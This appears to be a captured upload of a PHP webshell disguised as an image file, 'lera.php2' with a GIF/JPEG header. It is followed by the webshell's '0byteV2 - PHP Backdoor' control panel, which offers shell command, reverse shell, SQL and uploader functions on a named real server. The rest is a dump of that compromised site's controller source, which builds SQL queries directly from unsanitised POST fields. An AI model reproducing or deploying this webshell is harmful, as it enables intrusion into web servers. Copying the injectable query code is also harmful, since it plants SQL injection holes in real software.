------WebKitFormBoundary5SePZ93NyvO6nCmJ Content-Disposition: form-data; name="qqfile"; filename="lera.php2" Content-Type: application/octet-stream GIF89a; ÿØÿà JFIF ÿí „Photoshop 3.0 8BIM hg Js4XT_wSZ67ehRpQTnMQ( JFBMD0f000770010000cd1d00002b54000065550000ec560000e488000080b80000b1bb0000ÿÛ C ")$+*($''-2@7-0=0''8L9=CEHIH+6OUNFT@GHEÿÛ C !!E.'.EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEÿ €" ÿÄ ÿÄ ÿÚ ù úȉ{j êv $àiwžœöˆ'Ýœ«§ôåÝU >À [T€ÕôuÕæÈúWÃúþÀ Iô1óËî£;˜‘ò8ØN¸£•w@cŽºóê¶'»6r´G[É]X«§=&5³uÝ÷mqÖÑSÞœX†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†Zò²²²²²²‹@ ŸMöóù‹éy3÷ëûOcõjSƒvQÎSÞŸ9yWI$ä`äÝO‡/çWyå¼ã›Ï¸ëSãý+ƒ §e,/~™}_^Ç*—~IM•ÇЫäÞý¿yð—ÞðO;šƒ›ÊoCŸ¿c_ÇëüYÈåmѧíö=%÷Ä¢^EΫW•Y±ýÊöZm.läýúlûŸ‘cÛòóP=Ÿ™Zé<9Ï%âGoÈŠ›é<@MÆ>§—›;yüÇn1;v‰626,=V~”qú<‘ušã’ëÑ/1íä5¯…a6=|å¹ìy~Õž[æ?Sù[Yyˆëûn#®>{fŒ§ì…¹wýú&³>F­Úžã–'Íj,*³¨½75œ½õG¦Ëêè>¯¹IdÔy=ùbØïËTi°¸u—†ì8t¬ºÃfmmíEÞ„K óãøî×çÙé;d’Þå·s<†½»»)<ãû,–œ˜ùì}Sg'¿¿Ÿ§ÆŠÆ[yò nÓ¼õïµç¯CÑæèÂP­Ño®)4ôå‹ÓÕÚ¯?òÿ ªry×»¤–fÚý‹ï¾!‹Â_Ô~GosöѤë9a³ùU Ç;c¯tyí=óѳXßcQ'¦-Ú6z|ùA™–ì)îjyïWMÌõü·KqMu¬ôÖPlºg“ù¯×ø\o™›/T½dÍ6lü×fZÚóÍ{#\yž,/dhWºý°·eßÏË%•·ÓUô;Ÿ“g¼“[ ¾÷›ò:Uâá_¼‘‹Ó¥ÛeNuWɨ3­Ð¼ò\½%ÌðÇ|5µ[q†±/ ˜j|wèùÌëhvkØJ[eèâÑ7EÌê~Ûå¸]w+Ùsß;qWmsÕÙ×ÙîRpýßÌ%¼ÓY/.Žâ¶ïO™Déêó®s)q%Ù”t²±ÕÕ·ìùyŸ>>ûìÖüwâCÛŽÆ|d<÷/L<Ø]¦øUF¼î&'=Þµrý„i¯—Bî¹¼©qݯ;Ã<6K“Á™Œdê·jGuÀ};Y¶¾^¹ü¾³èU¸×Ï´^Àãß =44 ÂNç[ß5Ÿ}ó™oUyèä‰>¹Ï§¹¬ç¸¿Üòß/k]hÏSg]iµWÍ>£óLX;6d½uå-þ§â-ÍlLµÍA¯é}ι:zùj|ߢ_¶åæ]üþ=K+Ìõš3Çaæ^z2óÐôyæ^²ðÇ̼1{âÉ“¢C\ßÏûÎ*øýw/iËuëÁëÁ²ÂìîoѾwô=N’4½=8ÒÓ¡çuË´ñûaèÙ6¦¾ãzñ®Ç~®¼±ó=öYQ·Â6çŽc×£Ð2½ðyèó¼<Ç"ÉߣrÕstIiù.î¢>x;ÅîÕÓäß2Âty|úïúGÎ>§¼YF“¯ È’ôç§/:,¿º²Vɲ(úlwÏåñ>‹O×—«£ÑÛ”©ºvý,˜øÔݺdðëæ¾=SÙW[YÑÙÖÙjiù§Ô¹y®C.†$Yô4WÚ Ú@²‚‹§çña¥ã,/&zWD´‰5õŒ±Ë·6éÝ.ØÛ4›rÇ3ÐzAàz<óу"ÊÏÈgŒ¸G›”¼ß7ô­-p6Ý”¼¹çQéñFϧ=ô¼vïžq¤ÅܯӶ'>”òr‰âöa*¦L·’+%±¾DûO»7½”ÁîøOg—´gRæóÆáôu6wKade¦ÞÓÝsD¼cfaqMth®¸†SÐvÚ£‰uÐcŸÆßFuG_yX}C/=ëÏ ºó—diI9yéï¾z <ôxW¾~6K†ÍûåÓ¿!–xì=÷OL¢6cו3¹¼ôÙ¯Ù%­;fñÙ×^v㵎žüdgEËçßB×¼ü~/}Âk2¬kìµ2±‡mǧ;:¾É/ìël«me¥maŽÂ@µ­²\ [×pŠGõ­2Ã^³(›õ–Ï=¦Í[eò.íd¿|ô{ç  z,¯=Ù5~^Ç¢½ô2Ù†p÷gî#6Ô.o«ä¸öª<'®tʾ§é•¾¯=•g?3Rân­Õ/~½¬ú#Îs£ÀùL¾§šíÎEµm§=r¶,K»:Ë3lƒÜ’¾ÆåÝ|3ÖDÖÏÃ6bš´I×^û秛ônšÑ†ÜO¾z=óРЯ|¶êË:ÏÝ#w¾l<^áéëAŠå­…˜sG1Ç·?®LŸ7£G¯g³Ç3›è¹­gËÝdØS‰4íL˜ú5ìÒ{Íôšu8ë3²ç§×ØÙsgWfoƒ:†^ed)‘e,ˆ“bù‘1ó?0Ù‰«^ívaïž™nײjÌÒG¾z=óРЯpñwéÎfl}Û½5gèôcž³hÀÏÍ^ÖTöÚq¾RöfR±Ë¼¤UMÓ›+ º 2"nY;aäKö)a„|ÌòÓ´ãkz8%Õm•Í½¥M©"¸¦Dß«j̉.)“Òcæ^ãž&¼6áQÞz›vc”Ô=šö¦×žžïƒ×ƒ×ƒ×ƒ&%=ÌÛ»^üë/™<ôyèÃVQ„-ÕD¹4ö¦ü°ôÊ$˜$KNK¯2Ã=ZÌI”ÖyÔ½9hY9éÍvç§a–!t]LÙn ®¯»ª(¬«,®m-ªíjDYQcÁdm˜dM&:ûžeáŽ9xa¯n²Xe©+-{3¨;ôo³?qÊø=yè ûž½¦ì±Ù=÷ÓܼÀË^™èzAÑC(m«,Íž{‰–ºJkÍ2O`Í¢³EµY¾³Et¹gå+$l‹´ßž­¢¶Ú¼Ûº¿s2àOŒr–uÖzÍ•­E¹"<ˆæ>ùêhÇ, úwjW¾zžy—†8çá†ëHáž’žjΣÈ&ç?qôõàõâ_^^^}ÇÕ÷||ɹDÛn÷ÌÃ/O^j6jÕ¨k•¸å­4ïìôÇTÍf¬ â¶ß/OnsUW|ÏAô™ùŸNm©îýy› ËˆTϬ±IúvéNRÒ®×Y°¶¨¶$èݤÇß=MZwÇ,uç¨×çúS…Èíü㥺ã=yêJ¿Fn‰påÙŸ¸z{î>ž¼¼¼¼1õ¬·ã*\}ÛŽožâ6{€Éæg¹éÒJÓ£Ly|zöXóÕ™ßYËÕÁƽž¹pÇ,N’Öžû¯>¡¯×÷¾ãž³·v.r÷©£|bªd-õe†&y‹:›{™¶ôÖĽ;u˜{á0¾)c«f³çg'×ú¶ˆ®ñNVo…Uç¯mJÑ–ƒTÈS}ÇÓßqö=x=x=x=x=÷Vný;ecîÜëN[r5ûž&:öº¬=+¥Ëôƒó?©|Ã:‹Ž¬üþœôg£;kÕ†ñ»Í;7Ï¡é9Γ¦3Ãf»%nÃlmϬõ§±%WÕtÚûDß[qªÎ:ö¢ÚæUÅ5Á/°1ð5Å•²×ù×WÍt%ûÜSÌ}òÏ0Ï]p™üåË·Ò5|ð¿A‘óaô§ÍGÒ½ù ú[æƒéoš¥¾h>–ù ú^1/Õòù0úÎ#G×qù úÃäãëyü„}/¯êù/‡Õ9nT]m ó¿ÓOä½u‡ Ö{ìx?S»ÝóÕ}óŸkéÙ|Çú†_-R|·Óê0¾v®Ö_}//šxv2ø/dú ‡ËGÖ_&W| }V'ÍGÕ}ùHëí>x>¯çÊGÕŸ)GÕqùb½` !ž‘Òt GHÒt™7«%•«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²­Ø3333333333333¡k—¯’u£’u£’u£’u£’u£“è&5Æ"[\b%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰c×ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1Ù€ )ìMí;€ ‰‘šd  WJ7€ 5Íq¦4$•mɪÒblJûcdZúÓéœ×CÏš'èÒd œXXÂÐY×i–Næ$Ä;kŠÒ.4Ç+Ð’4Tj,zJi†uÒ®@ ä <ôyè1È 9Ï@äzr cç  ;©Ë\áA.ãrÛέG‰|åî‰ÈS@ SÜ^·º¡ Ié12ïÇ¿¸È‡3Ï@ §µ3!@<=yè ÃÔ9€ÀÍH Dе“HdÀÄ –ê°ö¿TRF°‹9”ÞùQôåF¨´çYŽÆÝUFî‡çÿ @8{¬9âö eéa_¸h•Œ2æG-Ñ6À„M¢ys„j‚Æ]©×rýGn—ÉÙ“çÒX rrY 1d ¢¼ôyèãÐ ä=är Œ9Úé@ IÎ^Yy¶Œîœôbúg1<¸s°Î¹Éô$µ.¢ýÊm:g'd]B©€vJZã«SzYã›;5ƒ¦s™šÀê!G©:·5 ½QV{ŸÒtÎg¡6¹I¥ó”ÚtÎkYÐI¥º _`>y+·ôå w.¯ âs::üNã£ä»Æìë¼9º^ÿ AÉ{+¥8Ýߧ!CôÜNOÀAæ»LNÞóœÇ§9ËèYùμqº;N[Eéó½HðæúPâr»¹>wi×dsUý=AïH ô á h!“ h „M ,ÉDbK^À‡0 e N…¸¾ÆBl¨ÒÈ7ìÓf"ûŸ¸(er–fWÔYö|ñWŸ5r\m ¾Ó§QâžqmËÝÓúkàÞc@_aKК¤êô÷fª‚ßÝ4ÇЀ xôc 9 äyŽAç£ÏAŽCÇ¡Ž@ W£Ç  eQYóSK…#ªr3ŽÌôÄ)¼E±ÐãËG:­uµ‡dæ§í\ñÓ9;ñÍzt‘*v38^ ²sðαÎút.r!×9¹e„žG#¬rsÌÍ.TUÇ\äý:·-b\)î Ez8Ÿ{\N&Ï¥ç=ôAó¤yéÍT÷cæ]WéËÖw~œt~çMJ9¼:qó™ý®GkÒäsžtƒ›tƒš¥ïü8ùÝã¦Í°8Kîsp;:r—ÎÄq6½ù·KÒoWSáÇö>z ))†’H"i”ÃI%Ž@ Bš w™€€ W´DyT³ÌfQxZE§é ¹hÞGßQ<…g¨êôBØiÛßå$ó^r<$@®®:Ï#î0—S(Ï^ÈEäZ襔(EÖ0eǯ¯-6CZèªØMe‰£dJ“§¸å;p 1È<ô @ o9™.Î’XßËÚ=/9Ñžr<$@®®:Ï#î%Á‰¤°Ë_›%ò–äü<¨,0¢˜MH4Âôºò³Y»\œŒôÐë> ä Ž@9 *t^†99 1È Ž@rrr9r )í²ä <ô óÚRçÞgQÕ¹ìK™4ÂçÞgQ}7—š]«)έG èܶGN ˆ^Íãå,I\9Ý9èÇUž¸í\î'Hæ5VŽNؾ‰+‡;§=ê¡Ó׫Èè¾Ã¤s9Ÿè ㊧úXãö[[í¬ñÅSý,q¶ ¢«¾˜qÛ;LNqÒŽ>“éxœUŸH1â;œNWÐq9½ æùï¢âq½ ã¤uÎ#¹Äáu}˜ÛÒnèŸ;¾êÍîzꂳ«óÐ ò!0 ä †` Ë:"@•·Òvþ›¨ìëK+sÒú=f¢D†ãD¬a—29nˆ ·…¼‡æÒ<îwis®óD½uD­Ôgœ>o¤ ä ccñèÇ ƒÇ£ÏCƒƒE}¸Ç %³œ–\F¨€u{(ôœ[eÌJ/aSh:ÕF%Ë–œ]¨"S””t0è0:íTVdüe¡~æEÌÞ*Ø¿Q êöQè:77dY Háäõãçø}#¯úävu9u}‡‡Î,ûOJ-AI‡g‘ÉHé=9ªžì|Ë£ê29»Yã‹ÝäpvýG·«ðà0úG_ôÇXt ¤¦‚4 ¤€ <=F’ h h ŠJ!@ Šöˆ¯µ¦ÖYWÀ½7DÓHu‘`f]é×F\k¥èˆöá—_hr6üÎÂß\AkŸ=,•¯d"ò-tSe¶º’Âo!ÐåÔÊ2ƒX:}õX–÷§V 0byteV2 - PHP Backdoor
Linux 116-202-49-93.cprapid.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64 [ FIND EXPLOIT ]
[ MySQL: OFF ][ Curl: OFF ][ Wget: OFF ][ Perl: OFF ][ Compiler: OFF ]

Disable Function: exec,passthru,shell_exec,system

[ Readable Users Path ] [ SQL Interface ] [ Shell Command ] [ Reverse Shell ] [ Shows vDomain ] [ Uploader ]
/home/vhtecindia/public_html/developer.vhtecindia.com/application/controllers/
400, 'message' => 'Bad request.')); } else { $check_auth_client = $this->Authentication_model->check_auth_client(); if ($check_auth_client == true) { $params = $_REQUEST; $username = $_POST['user_id']; $password = md5($_POST['password']); $status = get_hrm_type_by_user_id($_POST['user_id']); if ($status > '0') { $type = '2'; }else{ $type = '1'; } $response = $this->Common_model->login($username, $password, $type); // die(var_dump($_SESSION[loginid])); json_output($response['status'], $response); if ($response['message'] == "ok") { //insert_activity_history(1,0); } } } } public function logoutside() { /* $method = $_SERVER['REQUEST_METHOD']; if ($method != 'POST') { json_output(400, array('status' => 400, 'message' => 'Bad request.')); } else { $check_auth_client = $this->Authentication_model->check_auth_client(); if ($check_auth_client == true) { $response = $this->Authentication_model->auth(); if ($response['status'] == 200) { */ $response = $this->Common_model->logout(); $this->session->sess_destroy(); json_output(200, $response); insert_activity_history(2,0); /* } else if ($response['status'] == 303) { $this->Common_model->logout(); $this->session->sess_destroy(); json_output(401, $response); } } } */ } public function get_states() { $method = $_SERVER['REQUEST_METHOD']; if ($method != 'POST') { json_output(400, array('status' => 400, 'message' => 'Bad request.')); } else { $check_auth_client = $this->Authentication_model->check_auth_client(); if ($check_auth_client == true) { $response = $this->Authentication_model->auth(); if ($response['status'] == 200) { $response = get_all_states(); json_output(200, $response); } else if ($response['status'] == 303) { $this->Common_model->logout(); $this->session->sess_destroy(); json_output(401, $response); } } } } public function get_district() { // $method = $_SERVER['REQUEST_METHOD']; // if ($method != 'POST') { // json_output(400, array('status' => 400, 'message' => 'Bad request.')); // } else { // $check_auth_client = $this->Authentication_model->check_auth_client(); // if ($check_auth_client == true) { // $response = $this->Authentication_model->auth(); // if ($response['status'] == 200) { $response = get_district($_POST['stateid']); json_output(200, $response); // } else if ($response['status'] == 303) { // $this->Common_model->logout(); // $this->session->sess_destroy(); // json_output(401, $response); // } // } // } } public function color_list() { $columns = array( 0 => 'SR_NO', 1 => 'BLOG_TITLE', 2 => 'BLOG_TITLE', 3 => 'BLOG_TITLE', 4 => 'BLOG_TITLE', 5 => 'BLOG_TITLE', 6 => 'BLOG_TITLE', 7 => 'BLOG_TITLE', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; // $status = $_POST['status']; //$page_name = $_POST['page_name']; $totalData = count_all_color_setting(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_color_setting($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = color_setting_search($limit, $start, $search, $order, $dir); $totalFiltered = color_setting_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->CS_HOVER_STATUS == 1){ $back_color = ' '; $font_color = ' '; }else{ $back_color = ' '; $font_color = ' '; } $nestedData['SR_NO'] = $i; $nestedData['CS_NAME'] = @$post->CS_NAME; $nestedData['CS_CODE'] = ' '; $nestedData['CS_COLOR'] = ' '; $nestedData['CS_BACKGROUN_HOVER'] = $back_color; $nestedData['CS_FONT_HOVER'] = $font_color; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } /*--------------------- start FRONT SETTING -----------------------------------------*/ public function front_setting_list() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', 3 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '1'; $totalData = count_all_front_setting_list(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_front_setting_list($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = front_setting_list_search($limit, $start, $search, $order, $dir); $totalFiltered = front_setting_list_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->FB_SHOW_HIDE == 1){ $check = ''; }else{ $check = 'checked'; } $nestedData['SR_NO'] = $i; $nestedData['FB_NAME'] = $post->FB_NAME; $nestedData['FB_ORDER'] = ''; $nestedData['FB_SHOW_HIDE'] = ''; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } /*------------------- end FRONT SETTING list ---------------------------------------*/ /*--------------------- start BACKEND SETTING -----------------------------------------*/ public function backend_setting_list() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', 3 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '1'; $totalData = count_all_backend_setting_list(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_backend_setting_list($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = backend_setting_list_search($limit, $start, $search, $order, $dir); $totalFiltered = backend_setting_list_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->BACK_END_SHOW_HIDE == 1){ $check = ''; }else{ $check = 'checked'; } $nestedData['SR_NO'] = $i; $nestedData['FB_ICON'] = ''; $nestedData['FB_NAME'] = ''; $nestedData['FB_ORDER'] = ''; $nestedData['FB_SHOW_HIDE'] = '
Add Menu
Warning '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } /*------------------- end BACKEND SETTING list ---------------------------------------*/ public function enquiry_request() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; // $status = $_POST['status']; $totalData = count_all_enquiry_list(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_enquiry_list($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = enquiry_list_search($limit, $start, $search, $order, $dir); $totalFiltered = enquiry_list_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['PRODUCT_NAME'] = $post->PRODUCT_NAME; $nestedData['PRICE'] = $post->PRODUCT_PRICE; $nestedData['MOBILE'] = $post->mobile; // $nestedData['DATE'] = $post->date; // $nestedData['STATUS'] ='' // ; // $nestedData['ACTION'] = ' //
// // // //
// '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function list_banners() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', 3 => 'BRAND_NAME', 4 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '0'; $totalData = count_all_banners($status); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_banners($limit, $start, $order, $dir,$status); } else { $search = $this->input->post('search')['value']; $posts = banners_type_search($limit, $start, $search, $order, $dir,$status); $totalFiltered = banners_type_search_count($search,$status); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if ($post->IMAGE_URL != '') { $image = '
'; }else{ $image = '
'; } $nestedData['SR_NO'] = $i; $nestedData['IMAGE'] = $image; $nestedData['TITLE'] = $post->IMAGE_TITLE; $nestedData['ACTION'] = 'PROMOTION_ID.'" bannerid="'.$post->PROMOTION_ID.'" " href="javascript:void(0);"> Delete'; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function product_list() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '1'; $totalData = count_all_product_type($company_id,$status); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_product_type($limit, $start, $order, $dir,$company_id,$status); } else { $search = $this->input->post('search')['value']; $posts = product_type_search($limit, $start, $search, $order, $dir,$company_id,$status); $totalFiltered = product_type_search_count($search,$company_id,$status); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['PRODUCT_NAME'] = $post->PRODUCT_NAME; $nestedData['PRODUCT_IMAGE'] = ''; $nestedData['ACTION'] = '
'; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function demo_list() { $database = $_POST['table_name']; // $query = $this->db->get($database); // Adjust the table name as necessary // $array = $query->result_array(); // $dataArray = []; // // Get keys from the first element // $keys = array_keys($array[0]); // $i = 1; // Start from 1 because 0th index is already added // $dataArray["0"] = $keys["0"]; // foreach ($keys as $key) { // $dataArray[(string)$i] = $key; // $i++; // } $queryColumns = $this->db->query("SHOW COLUMNS FROM $database"); $array = $queryColumns->result_array(); $dataArray = []; // Check if the query was successful if ($queryColumns) { $i = 1; $columns = $queryColumns->result_array(); foreach ($columns as $column) { // Extracting column names and adding them to the $dataArray $dataArray[] = ["data" => $column['Field']]; $i++; } } else { // Handle the case where the query fails echo "Failed to fetch column names from the database."; } // Add ACTION manually $dataArray[(string)$i] = "BRAN_ACTION"; // Output JSON //echo json_encode($dataArray); $columns = $dataArray; //print_r($columns[0]['data']); //print_r($columns); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[0]['data']; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '1'; $totalData = count_all_brand_type($database); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_brand_type($limit, $start, $order, $dir,$database); } else { $search = $this->input->post('search')['value']; /*------------------------------ start create sql where clause-----------------*/ $conditions = array(); if ($queryColumns) { // Check if $columns is an array if (is_array($columns)) { foreach($columns as $column) { // Debug output //var_dump($column); // Check if each $column is an array and has the 'data' key if (is_array($column) && isset($column['data'])) { $key = $column['data']; $conditions[] = "$key LIKE '%$search%'"; } else { // Handle the error or log a message for debugging //error_log("Invalid column format or 'data' key missing."); } } } else { // Handle the error or log a message for debugging // error_log("Columns is not an array."); } } // Construct conditions for each attribute // Join the conditions with OR to search across all attributes $whereClause = implode(' OR ', $conditions); /*-------------------------- end create sql where clause ----------------------*/ $posts = brand_type_search($limit, $start, $search, $order, $dir,$database,$whereClause); $totalFiltered = brand_type_search_count($search,$order,$database,$whereClause); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $query = $this->db->query("SHOW COLUMNS FROM $database ")->result(); foreach ($query as $index => $row) { $xx = $row->Field; $linkid = get_method_link_id($database)->METHOD_LINK; $num = $this->db->get_where('menu_property',['MP_ATTITUBE_NAME'=>$xx ,'MP_MENU_ID'=>$linkid ])->num_rows(); if($num > 0){ $row_property = $this->db->get_where('menu_property',['MP_ATTITUBE_NAME'=>$xx ,'MP_MENU_ID'=>$linkid ])->row(); if($row_property->MP_INPUT_TYPE == 3){ $nestedData[$row->Field] = ''; }else{ $nestedData[$row->Field] = $post->$xx; } }else{ $nestedData[$row->Field] = $post->$xx; } } $delete = ''; if($_SESSION['type'] != 1){ $check_access = check_user_permission($_SESSION['loginid'],$database ); //echo $check_access->METHOD_STATUS; if($check_access->PERMISSION_DELTE == 1){ $delete = ' $order.'" remove_brand_id="'.$post->$order.'" remove_value="'.$row->Field.'" "> Remove '; } }elseif($_SESSION['type'] == 1){ $delete = ' $order.'" remove_brand_id="'.$post->$order.'" remove_value="'.$row->Field.'" "> Remove '; } $update = ''; if($_SESSION['type'] != 1){ $check_access = check_user_permission($_SESSION['loginid'],$database ); //echo $check_access->METHOD_STATUS; if($check_access->PERMISSION_EDIT == 1){ $update = ' Update '; } }elseif($_SESSION['type'] == 1){ $update = ' Update '; } $nestedData['BRAN_ACTION'] = ' '.$delete.' '.$update.' '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function branchlist() { $columns = array( 0 => 'BRANCH_ID', 1 => 'BRANCH_NAME', 2 => 'BRANCH_NAME', 3 => 'BRANCH_NAME', 4 => 'BRANCH_NAME', 5 => 'BRANCH_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $firmid = $this->input->get_request_header('User-ID'); $hrmtype = $_POST['hrmtype']; $totalData = allbranch_count($firmid,$hrmtype); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = allbranch($limit, $start, $order, $dir, $firmid,$hrmtype); } else { $search = $this->input->post('search')['value']; $posts = branch_search($limit, $start, $search, $order, $dir, $firmid,$hrmtype); $totalFiltered = branch_search_count($search, $firmid,$hrmtype); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['BRANCH_NAME'] = $post->BRANCH_NAME; $nestedData['BRANCH_CODE'] = $post->BRANCH_CODE; $nestedData['BRANCH_CREATED'] = date('d-m-Y', strtotime($post->BRANCH_CREATED)); $nestedData['BRANCH_USERNAME'] = $post->BRANCH_CONTACT; // $nestedData['ACTION'] = ''; $nestedData['ACTION'] = ' EDIT USER ASSIGN ROLE
'; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function filter_demo_list() { $database = $_POST['table_name']; $queryColumns = $this->db->query("SHOW COLUMNS FROM $database"); $array = $queryColumns->result_array(); $dataArray = []; // Check if the query was successful if ($queryColumns) { $i = 1; $columns = $queryColumns->result_array(); foreach ($columns as $column) { // Extracting column names and adding them to the $dataArray $dataArray[] = ["data" => $column['Field']]; $i++; } } else { // Handle the case where the query fails echo "Failed to fetch column names from the database."; } // Add ACTION manually $dataArray[(string)$i] = "BRAN_ACTION"; // Output JSON //echo json_encode($dataArray); $columns = $dataArray; $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[0]['data']; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '1'; $segment = $columns[1]['data']; $from = $_POST['from']; $to = $_POST['to']; $totalData = count_filter_all_brand_type($database,$segment,$from,$to); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = filter_all_brand_type($limit, $start, $order, $dir,$database,$segment,$from,$to); } else { $search = $this->input->post('search')['value']; /*------------------------------ start create sql where clause-----------------*/ $conditions = array(); if ($queryColumns) { // Check if $columns is an array if (is_array($columns)) { foreach($columns as $column) { // Check if each $column is an array and has the 'data' key if (is_array($column) && isset($column['data'])) { $key = $column['data']; $conditions[] = "$key LIKE '%$search%'"; } else { // Handle the error or log a message for debugging //error_log("Invalid column format or 'data' key missing."); } } } else { // Handle the error or log a message for debugging // error_log("Columns is not an array."); } } // Join the conditions with OR to search across all attributes $whereClause = implode(' OR ', $conditions); /*-------------------------- end create sql where clause ----------------------*/ $posts = filter_brand_type_search($limit, $start, $search, $order, $dir,$database,$whereClause,$segment,$from,$to); $totalFiltered = filter_brand_type_search_count($search,$order,$database,$whereClause,$segment,$from,$to); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $query = $this->db->query("SHOW COLUMNS FROM $database ")->result(); foreach ($query as $index => $row) { $xx = $row->Field; $linkid = get_method_link_id($database)->METHOD_LINK; $num = $this->db->get_where('menu_property',['MP_ATTITUBE_NAME'=>$xx ,'MP_MENU_ID'=>$linkid ])->num_rows(); if($num > 0){ $row_property = $this->db->get_where('menu_property',['MP_ATTITUBE_NAME'=>$xx ,'MP_MENU_ID'=>$linkid ])->row(); if($row_property->MP_INPUT_TYPE == 3){ $nestedData[$row->Field] = ''; }else{ $nestedData[$row->Field] = $post->$xx; } }else{ $nestedData[$row->Field] = $post->$xx; } } $delete = ''; if($_SESSION['type'] != 1){ $check_access = check_user_permission($_SESSION['loginid'],$database ); //echo $check_access->METHOD_STATUS; if($check_access->PERMISSION_DELTE == 1){ $delete = '
